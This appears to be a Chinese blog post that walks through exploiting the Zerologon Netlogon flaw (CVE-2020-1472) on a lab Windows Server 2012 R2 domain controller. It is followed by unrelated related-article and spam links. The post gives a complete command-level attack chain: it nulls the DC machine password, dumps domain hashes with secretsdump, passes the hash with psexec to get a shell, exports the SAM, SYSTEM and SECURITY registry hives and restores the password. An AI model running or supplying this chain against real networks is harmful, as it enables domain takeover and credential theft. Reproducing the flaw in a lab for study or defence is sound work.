cve2020-1472

文章目录

  • cve2020-1472
    • 简介
    • 影响版本
    • 环境简介
      • DC
      • Attack
    • 漏洞验证
    • 漏洞利用
    • 利用复现
      • 环境配置
        • 安装Impacket
        • 下载EXP
      • 置空密码
      • 获取HASH
      • 获取SHELL
      • 获取原HASH
      • 解HASH
      • 恢复HASH
      • 检查是否恢复

这篇是原理篇下一篇说简单通过 mimikatz拿下域控

简介

2020年8月11号,微软修复了Netlogon 特权提升漏洞,当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。

要利用此漏洞,未通过身份验证的攻击者需要将 MS-NRPC 连接到域控制器,以获取域管理员访问权限。而2020年9月15日,secura发布了漏洞细节,之后相关的EXP也就被构造出来,漏洞原理

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

环境简介

DC

VERSION :Windows Server 2012 R2 Datacenter
HOSTNAME :WIN-H06K3JJM9AO
IP :192.168.18.20

Attack

IP:192.168.18.114

漏洞验证

我们可以使用如下命令进行漏洞验证

git clone https://github.com/SecuraBV/CVE-2020-1472
cd CVE-2020-1472\
pip install -r requirements.txt
python zerologon_tester.py '域控主机名' '域控ip'

success!

漏洞利用

思路

  • 置空域控保存在AD中的密码
  • 获取域控用户HASH
  • 通过获取到的管理员HASH得到一个SHELL,然后连接上去导出原来计算机中本地保存的HASH
  • 通过获取到的HASH恢复置空的域控密码

利用复现

环境配置

攻击机环境要求python版本再3.7以上,而且要获取最新版的Impacket,否则会产生如下报错报错(新版本中更新了我们利用中会用到的函数NetrServerPasswordSet2)

AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2'

安装Impacket

git clone https://github.com/SecureAuthCorp/impacketcd
cd impacket
pip install .

下载EXP

git clone https://github.com/dirkjanm/CVE-2020-1472

置空密码

python cve-2020-1472-exploit.py WIN-H06K3JJM9AO 192.168.18.20

获取HASH

接下来我们通过secretsdump.py根据DRS协议来获取相关的HASH,这里注意Windows用户在终端中的命令无需转义

python secretsdump.py abc.com/WIN-H06K3JJM9AO$@192.168.18.20 -no-pass

获取SHELL

获取到HASH之后pth

python psexec.py abc.com/Administrator@192.168.18.20 -hashes :afffeba176210fad4628f0524bfe1942   ----冒号不能少 “:”

获取原HASH

获取SHELL后我们执行以下命令,导出SAM中原来的HASH

get失败是因为本地没开共享

reg save hklm\sam sam.save
reg save hklm\system system.save
reg save hklm\security security.saveget sam.save
get system.save
get security.save

解HASH

执行如下命令,利用secretsdump.py && 猕猴桃(猕猴桃在下一篇讲攻击命令) 解析保存在本地的nt hash

python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

然后我们保存上图中红框部分,即

75a5412d6016ca5c10c859425d2a13b1

恢复HASH

git clone https://github.com/risksense/zerologonpython reinstall_original_pw.py WIN-H06K3JJM9AO 192.168.18.20 75a5412d6016ca5c10c859425d2a13b1

检查是否恢复

我们这时候再用获取HASH时测试一下是否已经已经恢复

# windows
python secretsdump.py abc.com/WIN-H06K3JJM9AO$@192.168.18.20 -no-pass
# others
python secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -just-dc -no-pass

看我拿下域控-cve2020-1472-Netlogon相关推荐

  1. 【某区护网】从外网打点到拿下域控

    目录 web打点 反弹shell与权限维持 主机信息收集与反向代理 攻击域控 前端时间刚结束了攻防演练活动,其中一项成果为拿下某集团域控制器权限,直接控制域内主机5000多台.以下为攻击过程的粗略记录 ...

  2. 渗透测试之常规外网打点拿下域控

    目录 一.网络示意图 二.信息收集 2.0 netdiscover存活探测 2.1 端口扫描 2.2 美化NMAP扫描结果 2.3 目录扫描编写一个绕防火墙脚本 2.4 访问特殊状态码地址 三.对目标 ...

  3. windows 空会话 ipc$域控 SYSVOL 和NETLOGON共享

    友链 参考: https://techcommunity.microsoft.com/t5/storage-at-microsoft/smb-and-null-sessions-why-your-pe ...

  4. 为什么能通过域成员主机拿下域控服务器的密码呢

    问题.为什么能从本机上获得其他主机的账号密码呢? 一个具有一定规模的企业,每天都可能面临员工入职和离职,因此网络管理部门经常需要对域成员主机进行格式化消除磁盘的文件,然后重装系统及软件,以提供给新员工 ...

  5. 内网渗透思路10之SPN拿下域控

    文章目录 零.涉及知识点 一.打点 二.上线web1与data1 三.上线web2 四.收集web2的信息 4.1.使用EW代理socks5上传web2 五.破解域控明文 六.上线data2机器 七. ...

  6. sysvol 域控制器 文件_重建域控SYSVOL和NETLOGON共享

    对Windows活动目录有所了解的管理员应该对SYSVOL不陌生,它是用来存储域公共文件服务器副本的共享文件夹,例如我们用得最多的组策略设置.脚本等都是存在这个共享目录中的.如果组织内有多台域控制器, ...

  7. 重建域控SYSVOL和NETLOGON共享

    对Windows活动目录有所了解的管理员应该对SYSVOL不陌生,它是用来存储域公共文件服务器副本的共享文件夹,例如我们用得最多的组策略设置.脚本等都是存在这个共享目录中的.如果组织内有多台域控制器, ...

  8. 【红队靶场】利用redis未授权写入,docker提权逃逸,ms17-010,横向拿下域控

    红队靶场

  9. 【Web安全】内网渗透研究之利用MSF和Impacket工具拿域控

    内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 [查看资料] 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也可以写一句话,并且还爆了绝对路 ...

最新文章

  1. php递归内存,PHP递归的三种常用方式
  2. 在maven项目中使用Junit进行单元测试
  3. NetDevOps — NAPALM
  4. Raspberry Pi 4B 部署 YOLOX
  5. Codewars-Javascript训练手册:正则表达式(Regular Expressions)
  6. 指定某行复制多次的方法
  7. java linearlayout_LinearLayout属性用法和源码分析
  8. mysql galera 下载_Mysql-Galera Cluster
  9. VMware虚拟机下安装Ubuntu16.04镜像完整教程
  10. STL源码剖析 序列式容器 slist
  11. java 0xaarrggbb 转换_RRGGBBAA或者RRGGBB转换成rgba()
  12. tensorflow版PSENet 文本检测模型训练和测试
  13. HIve map jion的原理、操作和使用场景
  14. 为什么java IO类不用基于继承的设计方案?
  15. windows7配置java环境变量
  16. python url转码_URL转码,encodeURI,encodeURIComponent — 在线工具
  17. MT-考试座位-颜色排序
  18. linux 终端显示的文件颜色的含义
  19. 无线网络 开启nat共享服务器,wifi共享大师开启NAT服务出错的解决方案
  20. 使用git时输错密码解决办法

热门文章

  1. 网贷公司是什么意思? 网贷公司如何挑选更安心?【理财帮手】
  2. Android的camerax预览拍照
  3. linux俄罗斯方块源程序,《俄罗斯方块游戏》项目实作【附源码】
  4. Lumen 邮箱推送
  5. vue.js中文官网下载vue.js失败了?
  6. 盘古开源丨数据大爆炸时代,云存储成为企业存储必然发展方向
  7. 黑客与画家——片段一
  8. 【光模块单模和多模的区别及使用】
  9. 让座席管理工作听得见也看得着
  10. 用Rest assured作API自动化集成测试